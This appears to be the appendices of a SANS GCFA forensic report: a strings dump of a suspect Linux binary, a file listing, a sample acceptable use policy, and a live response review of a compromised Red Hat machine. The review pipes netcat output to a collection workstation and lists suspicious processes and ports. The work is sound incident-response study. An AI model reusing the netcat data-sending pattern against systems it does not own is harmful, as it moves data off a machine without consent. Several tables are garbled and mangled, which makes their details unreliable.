/dev/hda3 /dev/hda29 /dev/hda28
/dev/hda27 /dev/hda26 /dev/hda25
/dev/hda24 /dev/hda23 /dev/hda22
/dev/hda21 /dev/hda20 /dev/hda2
/dev/hda19 /dev/hda18 /dev/hda17
/dev/hda16 /dev/hda15 /dev/hda14
/dev/hda13 /dev/hda12 /dev/hda11
/dev/hda10 /dev/hda9 /dev/hda8
/dev/gscd /dev/ed7u830 /dev/ed7u820
/dev/ed7u800 /dev/ed7u720 /dev/ed7u840
/dev/ed7u360 /dev/ed7u3520 /dev/ed7u3200
/dev/ed7u2880 /dev/ed7u1920 /dev/ed7u1840
/dev/ed7u1760 /dev/ed7u1743 /dev/ed7u1722
/dev/ed7u1680 /dev/ed7u1660 /dev/ed7u1440
/dev/ed7u1120 /dev/ed7u1040 /dev/ed7h880
/dev/ed7h720 /dev/ed7h420 /dev/ed7h410
/dev/fd2d360 /dev/fd2H720 /dev/fd2H360
/dev/fd2H1440 /dev/fd2D720 /dev/fd2D360
/dev/fd2CompaQ /dev/fd2 /dev/fd2u830
/dev/fd1u820 /dev/fd1u800 /dev/fd1u720
/dev/fd1u3840 /dev/fd1u360 /dev/fd1u3520
/dev/fd1u3200 /dev/fd1u2880 /dev/fd1u1920
/dev/fd1u1840 /dev/fd1u1760 /dev/fd1u1743
/dev/fd1u1722 /dev/fd1u1680 /dev/fd1u1660
/dev/fd1u1440 /dev/fd1u120 /dev/fd1u1040
/dev/fd1h880 /dev/fd1h720 /dev/fd1h420
/dev/fd1h410 /dev/fd1h360 /dev/fd1h1440
/dev/fd1h1494 /dev/fd1h1476 /dev/fd1h1440
/dev/fd1h1200 /dev/fd1d360 /dev/fd1H720
/dev/fd1H360 /dev/fd1H1440 /dev/fd1D720
/dev/fd1D360 /dev/fd1CompaQ /dev/fd1
/dev/fd0u830 /dev/fd0u820 /dev/fd0u800
/dev/fd0u720 /dev/fd0u3840 /dev/fd0u360
/dev/fd0u3520 /dev/fd0u3200 /dev/fd0u2880
/dev/fd0u1920 /dev/fd0u1840 /dev/fd0u1760
/dev/fd0u1743 /dev/fd0u1722 /dev/fd0u1680
/dev/fd0u1660 /dev/fd0u1440 /dev/fd0u1120
/dev/fd0u1040 /dev/fd0h880 /dev/fd0h720
/dev/fd0h420 /dev/fd0h410 /dev/fd0h360
/dev/fd0h1660 /dev/fd0h1494 /dev/fd0h1476
/dev/fd0h1440 /dev/fd0d360 /dev/fd0H720
/dev/fd0H360 /dev/fd0h1200 /dev/fd0D720
/dev/fd0D360 /dev/fd0H1440 /dev/fd0
/dev/fd0CompaQ /dev/cm206cd /dev/cm205cd
/dev/cdu535 /dev/cdu31a /dev/bpcd
/dev/aztcd /dev/md15 /dev/md14
/dev/md13 /dev/md12 /dev/md11
/dev/md9 /dev/md8 /dev/md7
/dev/md6 /dev/md5 /dev/md4
/dev/md3 /dev/md2 /dev/md1
/dev/md0 /dev/md10 /dev/null

Wrong medium type No medium found Disk quota exceeded
Remote I/O error Is a named type file No XENIX semaphores available:
Not a XENIX named type file Structure needs cleaning Stale NFS file handle
Operation now in progress Operation already in progress No route to host
Host is down Connection refused Connection timed out
No buffer space available Connection reset by peer Network is unreachable
Network is down Address already in use Protocol family not supported
Operation not supported Socket type not supported Protocol not supported
Protocol not available Message too long Destination address required
Too many users Streams pipe error Remote address changed
File descriptor in bad state Name not unique on network Bad message
RFS specific error Multihop attempted Protocol error
Communication error on send Smount error Advertise error
Link has been severed Object is remote Package not installed
Machine is not on the network Out of streams resources Timer expired
No data available Device not a stream Bad font file format
Invalid slot Invalid request code No anode
Exchange full Invalid request descriptor Invalid exchange
Level 2 halted No CSI structure available Protocol driver not attached
<table>
<thead>
<tr>
<th>Condition</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Link number out of range</td>
<td>Level 3 reset</td>
</tr>
<tr>
<td>Level 2 not synchronized</td>
<td>Channel number out of range</td>
</tr>
<tr>
<td>No message of desired type</td>
<td>Identifier removed</td>
</tr>
<tr>
<td>No locks available</td>
<td>Function not implemented</td>
</tr>
<tr>
<td>Numerical result out of range</td>
<td>Resource deadlock avoided</td>
</tr>
<tr>
<td>Read-only file system</td>
<td>Too many links</td>
</tr>
<tr>
<td>File too large in system</td>
<td>No space left on device</td>
</tr>
<tr>
<td>Too many open files</td>
<td>Too many open files</td>
</tr>
<tr>
<td>Not a directory</td>
<td>Is a directory</td>
</tr>
<tr>
<td>Bad address</td>
<td>Invalid cross-device link</td>
</tr>
<tr>
<td>No child processes</td>
<td>Block device required</td>
</tr>
<tr>
<td>Argument list too long</td>
<td>Cannot allocate memory</td>
</tr>
<tr>
<td>Interrupted system call</td>
<td>Exec format error</td>
</tr>
<tr>
<td>Operation not permitted</td>
<td>Input/output error</td>
</tr>
<tr>
<td>Cannot send after transport endpoint shutdown</td>
<td>No such file or directory</td>
</tr>
<tr>
<td>Interrupted system call</td>
<td>Too many references: cannot splice</td>
</tr>
<tr>
<td>Attempting to link in too many shared libraries</td>
<td>Transport endpoint is already connected</td>
</tr>
<tr>
<td>Cannot access a needed shared library</td>
<td>Cannot assign requested address</td>
</tr>
<tr>
<td>Numerical argument out of domain</td>
<td>Socket operation on non-socket</td>
</tr>
<tr>
<td>, ccs=</td>
<td>Cannot exec a shared library directly</td>
</tr>
<tr>
<td>TRIM_THRESHOLD system bytes = %10u</td>
<td>Accessing a corrupted shared library</td>
</tr>
<tr>
<td>max mmap regions = %10u</td>
<td>Too many levels of symbolic links</td>
</tr>
<tr>
<td>free(): invalid pointer %!</td>
<td>Resource temporarily unavailable</td>
</tr>
<tr>
<td>Unknown error</td>
<td>MMAP_MAX</td>
</tr>
<tr>
<td>out of memory [?]</td>
<td>Arena %d</td>
</tr>
<tr>
<td>[%d]</td>
<td>Total (incl. mmap):</td>
</tr>
<tr>
<td>apic</td>
<td>malloc: top chunk is corrupted</td>
</tr>
<tr>
<td>pse36</td>
<td>realloc(): invalid pointer %!</td>
</tr>
<tr>
<td>fxsr</td>
<td>syslog: unknown facility/priority: %x</td>
</tr>
<tr>
<td>amd3d</td>
<td>%h %e %T</td>
</tr>
<tr>
<td>i586</td>
<td>/dev/console</td>
</tr>
<tr>
<td>i686</td>
<td>/dev/log</td>
</tr>
<tr>
<td>LD_AOUT_PRELOAD</td>
<td>cmov</td>
</tr>
<tr>
<td>LD_ORIGIN_PATH</td>
<td>acpi</td>
</tr>
<tr>
<td>GCONV_PATH</td>
<td>ia64</td>
</tr>
<tr>
<td>LOCPATH</td>
<td>i486</td>
</tr>
<tr>
<td>RESOLVE_HOST_CONF</td>
<td>i386</td>
</tr>
<tr>
<td>T2DIR</td>
<td>clflush</td>
</tr>
<tr>
<td>LD_BIND_NOW</td>
<td>sse2</td>
</tr>
<tr>
<td>/etc/suid-debug</td>
<td>malloc: using debugging hooks</td>
</tr>
<tr>
<td>FATAL: kernel too old</td>
<td>ANSI_X3.4-1968//TRANSLIT</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
gconv-modules =INTERNAL->ucs2reverse
=INTERNAL->asci
=asci->INTERNAL
=ucs2->INTERNAL
=ucs8->INTERNAL
=ucs4e->INTERNAL
=INTERNAL->ucs4e
=ucs4->INTERNAL
=INTERNAL->ucs4
=ucs2LE// ISO-10646/UCS2/
=INTERNAL->ucs2reverse
=ucs2reverse->INTERNAL
=INTERNAL->ucs2
UCS-2LE// ISO-10646/UCS2/
IBM367// ANSI_X3.4-1968/
ISO-IR-6// ANSI_X3.4-1968/
OSF00010101// ISO-
10646/UCS2/
UCS2// ISO-10646/UCS2/
UTF-8// ISO-10646/UTF8/
OSF00010106// ISO-
10646/UCS4/
ISO-10646// ISO-10646/UCS4/
UCS-4// ISO-10646/UCS4/
UNICODELITTLE// ISO-
10646/UCS2/
ANSI_X3.4-1968// ANSI_X3.4-1968/
10646-1:1993// ISO-
10646/UCS4/
gconv gconv_init
toupper
tolower
lower
xdigit
graph
punct
POSIX
/usr/share/locale
POSIX
LC_COLLATE
LC_MONETARY
LC_NUMERIC
LC_TIME
LC_MESSAGES
LC_ALL
LC_XXX
LANGUAGE
charset=
OUTPUT_CHARSET
/usr/share/locale
/local.alias
nplurals=
0:123456789abcdefgijklmnopqrstuvwxyz
parse error
parse error
parser stack overflow
plurals=
(nil)
%m/%d/%y
%H:%M
%/%-9,-]
%h%u;%h%u
TZDIR
posixrules
processor
meminfo
MemFree: %ld kB
/origin
PLATFORM
system search path
cannot stat shared object
cannot map zero-fill pages
cannot create searchlist
cannot create cache for
invalid ELF header
internal error
find library=%s; searching
RPATH
cannot create RUNPATH/RPATH
cannot create cache for
ELF file OS ABI invalid
trying file=%s
ELF file ABI version invalid
file=%s; needed by %s
file too short
search path
file=%s; generating link map
ELF load command
descriptor
failed to map segment from shared object
cannot change memory protections
dynamic: 0x0*0x1x base: 0x0*0x1x size: 0x0*2x
ELF file data encoding not big-endian
ELF file version does not match current one
cannot open shared object file
search cache=%s
undefined symbol:

binding file %s to %s: %s symbol '%%'

with link time reference
normal
DYNAMIC LINKER BUG!!!
error while loading shared libraries

ld.so-1.7.0
symbol=%s; lookup in file=%s
relocation error
, version
(no version symbols)

^[yY]
%a %b %e %H:%M:%S %Z %Y

December
November
August
April
January
Friday
Thursday
Tuesday
Monday

%p%t%g%t%m%t%f
%a%N%f%N%d%N%b%N%s %h %e
%r%N%C-%z %T%N%c%N

i18n:1999
i18n:1999
i18n:1999
i18n:1999
i18n:1999
1997-12-20
+45 3122-6543
ISO/IEC 14652 i18n FDCC-set

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

kelp@dkuug.dk
Keld Simonsen
ISO/IEC JTC1/SC22/WG20 - internationalization
Kobenhavn V

[Am-]

kpnJ
Kevin Miller - Sans GCFA Assignment – v1.4

Out of memory while initializing profiler
cannot create scope list
eempty dynamic string token substitution
calling fini: %s
relocation processing: %s%s
%s: profiler found no PLTREL in object %s
unexpected reloc type 0x
cannot load auxiliary `%s'
because of empty dynamic string token substitution
cannot allocate dependency list
calling init: %s
no version information available (required by
of Verdef record
of Verneed record

U^h6LU3
'._Djz
=t%j
=u8Q}+
|;#o
}\>;b
gmon
.profile
%s: cannot open file: %s
%s: cannot map file: %s
Out of memory while initializing profiler
cannot create scope list
eempty dynamic string token substitution
calling fini: %s
relocation processing: %s%s
%s: profiler found no PLTREL in object %s
unexpected reloc type 0x
cannot load auxiliary `%s'
because of empty dynamic string token substitution
cannot allocate dependency list
calling init: %s
no version information available (required by
of Verdef record
of Verneed record

3?Cy
w};u
t0tv
~j2=
^2XX%
2I%
d% d
seconds
DST not allowed in SUID/SGI programs
shared object not open (lazy)
%s: Symbol `%s' has different size in shared object, consider re-linking
 cannot restore segment prot after reloc
load filtered object=%s requested by file=%s
Filters not supported with LD_TRACE_PRELINING
checking for version `%s' in file %s required by file %s
 unsupported version
" not found (required by
Appendix B

Bmap-1.0.20.tar.gz file list

[root@localhost bin1.4]# ll -R bmap-1.0.20
bmap-1.0.20:
total 5052
-rwxr-xr-x 1 root wheel 611530 Jul 15 2003 a.out
-rwxr-xr-x 1 root wheel 510960 Jul 15 2003 bclump
-rw-r--r-- 1 root wheel 10364 May 29 2000 bclump.c
-rwxr-xr-x 1 root wheel 506 Jun 15 2003 bclump-invoke.sgml
-rwxr-xr-x 1 root wheel 30824 Jul 15 2003 bclump.o
-rwxr-xr-x 1 root wheel 6616 Oct 17 2003 blocks
-rwxr-xr-x 1 root wheel 6616 Oct 17 2003 blocks.sorted
-rwxr-xr-x 1 root wheel 48746 Jul 16 2003 bmap
-rwxr-xr-x 1 root wheel 13030 May 15 2000 bmap.c
-rwxr-xr-x 1 root wheel 1337 Jul 15 2003 bmap-invoke.sgml
-rwxr-xr-x 1 root wheel 36376 Jul 15 2003 bmap.o
-rwxr-xr-x 1 root wheel 15603 Jul 15 2003 bmap.sgml
-rwxr-xr-x 1 root wheel 12811 May 29 2000 bmap.sgml.m4
drwxr-xr-x 2 root wheel 4096 Oct 17 2003 bmap-slack
-rwxr-xr-x 1 root wheel 824 May 15 2000 bmap.spec
-rwxr-xr-x 1 root wheel 55155 Jul 15 2003 bmap.strings
-rwxr-xr-x 1 root wheel 48746 Jul 15 2003 bmap.strip.0715
-rwxr-xr-x 1 root wheel 48746 Oct 18 2003 bmap.striped
-rwxr-xr-x 1 root wheel 17159 Jul 15 2003 bmap.tex
-rwxr-xr-x 1 root wheel 266 Jul 15 2003 config.h
-rwxr-xr-x 1 root wheel 18008 Mar 24 2000 COPYING
-rwxr-xr-x 1 root wheel 501043 Jul 15 2003 dev_builder
-rwxr-xr-x 1 root wheel 1728 Feb 24 2000 dev_builder.c
-rwxr-xr-x 1 root wheel 77579 Jul 15 2003 dev_entries.c
-rwxr-xr-x 1 root wheel 113856 Jul 15 2003 dev_entries.o
-rwxr-xr-x 1 root wheel 0 Oct 17 2003 file_slack2
-drwxrwxr-x 2 root wheel 4096 Oct 16 2003 include
-rwxr-xr-x 1 root wheel 913 Feb 14 2000 index.html
-rwxr-xr-x 1 root wheel 854 Apr 11 2000 libbmap.c
-rwxr-xr-x 1 root wheel 36464 Jul 15 2003 libbmap.o
-rwxr-xr-x 1 root wheel 1322 Apr 14 2000 LICENSE
-rwxr-xr-x 1 root wheel 2049 Oct 17 2003 logfilebmap.out
-rwxr-xr-x 1 root wheel 546815 Oct 16 2003 lostfile1
-rwxr-xr-x 1 root wheel 0 Oct 17 2003 lostfilebmap.out
-rwxr-xr-x 1 root wheel 101375 Oct 16 2003 lostfile2
-rwxr-xr-x 1 root wheel 2392 Oct 17 2003 Makefile
-drwxrwxr-x 3 root wheel 4096 Oct 16 2003 man
-drwxrwxr-x 3 root wheel 4096 Jul 15 2003 mft
-rwxr-xr-x 1 root wheel 54948 Oct 18 2003 prog.strings
-rwxr-xr-x 1 root wheel 6639 May 15 2000 README
-rwxr-xr-x 1 root wheel 621860 Jul 15 2003 slacker
-rwxr-xr-x 1 root wheel 36376 Jul 15 2003 slacker-involve.sgml
-rwxr-xr-x 1 root wheel 30824 Jul 15 2003 bclump.o
-rwxr-xr-x 1 root wheel 2392 Oct 17 2003 MANIFEST
<table>
<thead>
<tr>
<th>Permissions</th>
<th>User</th>
<th>Group</th>
<th>Owner</th>
<th>Size</th>
<th>Date</th>
<th>File</th>
</tr>
</thead>
<tbody>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>2258</td>
<td>Apr 25</td>
<td>2000</td>
<td>log.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>436</td>
<td>Mar 8</td>
<td>2000</td>
<td>mft.h</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>2955</td>
<td>Mar 24</td>
<td>2000</td>
<td>option.h</td>
</tr>
</tbody>
</table>
Appendix C

Some Company – Acceptable Use Policy

The InfoSec Acceptable Use Policy below is from the SANS “www.sans.org/resources/policies/Acceptable_Use_Policy”.

Some Company InfoSec Acceptable Use Policy

1.0 Overview
InfoSec's intentions for publishing an Acceptable Use Policy are not to impose restrictions that are contrary to Some Company's established culture of openness, trust and integrity. InfoSec is committed to protecting Some Company's employees, partners and the company from illegal or damaging actions by individuals, either knowingly or unknowingly. Internet/Intranet/Extranet-related systems, including but not limited to computer equipment, software, operating systems, storage media, network accounts providing electronic mail, WWW browsing, and FTP, are the property of Some Company. These systems are to be used for business purposes in serving the interests of the company, and of our clients and customers in the course of normal operations. Please review Human Resources policies for further details. Effective security is a team effort involving the participation and support of every Some Company employee and affiliate who deals with information and/or information systems. It is the responsibility of every computer user to know these guidelines, and to conduct their activities accordingly.

2.0 Purpose
The purpose of this policy is to outline the acceptable use of computer equipment at Some Company. These rules are in place to protect the employee and Some Company. Inappropriate use exposes Some Company to risks including virus attacks, compromise of network systems and services, and legal issues.

3.0 Scope
This policy applies to employees, contractors, consultants, temporaries, and other workers at Some Company, including all personnel affiliated with third parties. This policy applies to all equipment that is owned or leased by Some Company.

4.0 Policy
4.1 General Use and Ownership
1. While Some Company's network administration desires to provide a reasonable level of privacy, users should be aware that the data they create on the corporate systems remains the property of Some Company. Because of the need to protect Some Company's network, management cannot guarantee the confidentiality of information stored on any network device belonging to Some Company.
2. Employees are responsible for exercising good judgment regarding the reasonableness of personal use. Individual departments are responsible for creating guidelines concerning personal use of Internet/Intranet/Extranet systems. In the absence of such policies, employees should be guided by departmental policies on personal use, and if there is any uncertainty, employees should consult their supervisor or manager.
3. InfoSec recommends that any information that users consider sensitive or vulnerable be encrypted. For guidelines on information classification, see InfoSec's Information Sensitivity Policy. For guidelines on encrypting email and documents, go to InfoSec's Awareness Initiative.
4. For security and network maintenance purposes, authorized individuals within Some Company may monitor equipment, systems and network traffic at any time, per InfoSec's Audit Policy.

5. Some Company reserves the right to audit networks and systems on a periodic basis to ensure compliance with this policy.

4.2 Security and Proprietary Information

1. The user interface for information contained on Internet/Intranet/Extranet-related systems should be classified as either confidential or not confidential, as defined by corporate confidentiality guidelines, details of which can be found in Human Resources policies. Examples of confidential information include but are not limited to: company private, corporate strategies, competitor sensitive, trade secrets, specifications, customer lists, and research data. Employees should take all necessary steps to prevent unauthorized access to this information.

2. Keep passwords secure and do not share accounts. Authorized users are responsible for the security of their passwords and accounts. System level passwords should be changed quarterly, user-level passwords should be changed every six months.

3. All PCs, laptops and workstations should be secured with a password-protected screensaver with the automatic activation feature set at 10 minutes or less, or by logging-off (control-alt-delete for Win2K users) when the host will be unattended.

4. Use encryption of information in compliance with InfoSec's Acceptable Encryption Use policy.

5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the “Laptop Security Tips”.

6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.

7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.

8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use

The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services).

Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions

<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spam</td>
<td>Unauthorized and/or unsolicited electronic mass mailings.</td>
</tr>
</tbody>
</table>
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc  ls  date  w  netstat
lsfdb  ps  lsmod  ifconfig  md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

```
root@localhost bin# ldd w
 libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
 libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
 /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

The command “ls -l” is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 <-> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 <-> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

```
<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt; starttime.txt</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td></td>
<td>/mnt/floppy/nc 192.168.1.120</td>
</tr>
<tr>
<td></td>
<td>1111</td>
</tr>
<tr>
<td>nc -l -v -n -p 1111 &gt;</td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
```
The live response starts with the execution of a trusted shell using ‘/mnt/floppy/sh’.
The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation ‘nc’14 (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- ‘-l’ sets up netcat to listen for an incoming connection.
- ‘-v’ is verbose mode, connection information will be displayed.
- ‘-n’ do not do host or port name lookups.
- ‘-p <port>’ identifies the port netcat will listen on.

The victim machine commands are listed below:

- ‘date’ establishes the startdate for the live response.
- ‘w’ identifies who is logged onto the victim machine.
- ‘netstat -anp’ shows the internet sockets that are open on the victim.
- ‘lsof’ command helps to identify backdoors and strange network services.
- ‘ps -auxw’ provides the current running processes.
- ‘lsmod’ shows what kernel modules are loaded.

---

• 'netstat -anr' displays the routing table.
• 'ifconfig -a' shows the configuration of the network interface(s).
• 'ls -al /proc' was missing '-R'. Without the '-R' switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
• 'date' establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsof.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsof is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>Device</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>71809</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490</td>
<td>/libld-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
<td></td>
</tr>
</tbody>
</table>

---

<table>
<thead>
<tr>
<th>Process</th>
<th>Owner</th>
<th>Type</th>
<th>Mode</th>
<th>Size</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>sock</td>
<td>0,0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>CH</td>
<td>1,3</td>
<td></td>
<td>9637 /dev/null</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>Unix</td>
<td>0x1180540</td>
<td>551280 /dev/log</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>IPV4</td>
<td>361623</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>TCP</td>
<td></td>
<td></td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>IPV4</td>
<td>361624</td>
<td>550563 can't identify protocol</td>
<td></td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>minilogs</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>2048</td>
<td>490961 /bin</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>20914</td>
<td>34503 /usr/bin/weit</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730 /lib/idb6/idb-c.2.2.5.so</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>sock</td>
<td>0,0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>REG</td>
<td>3,6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
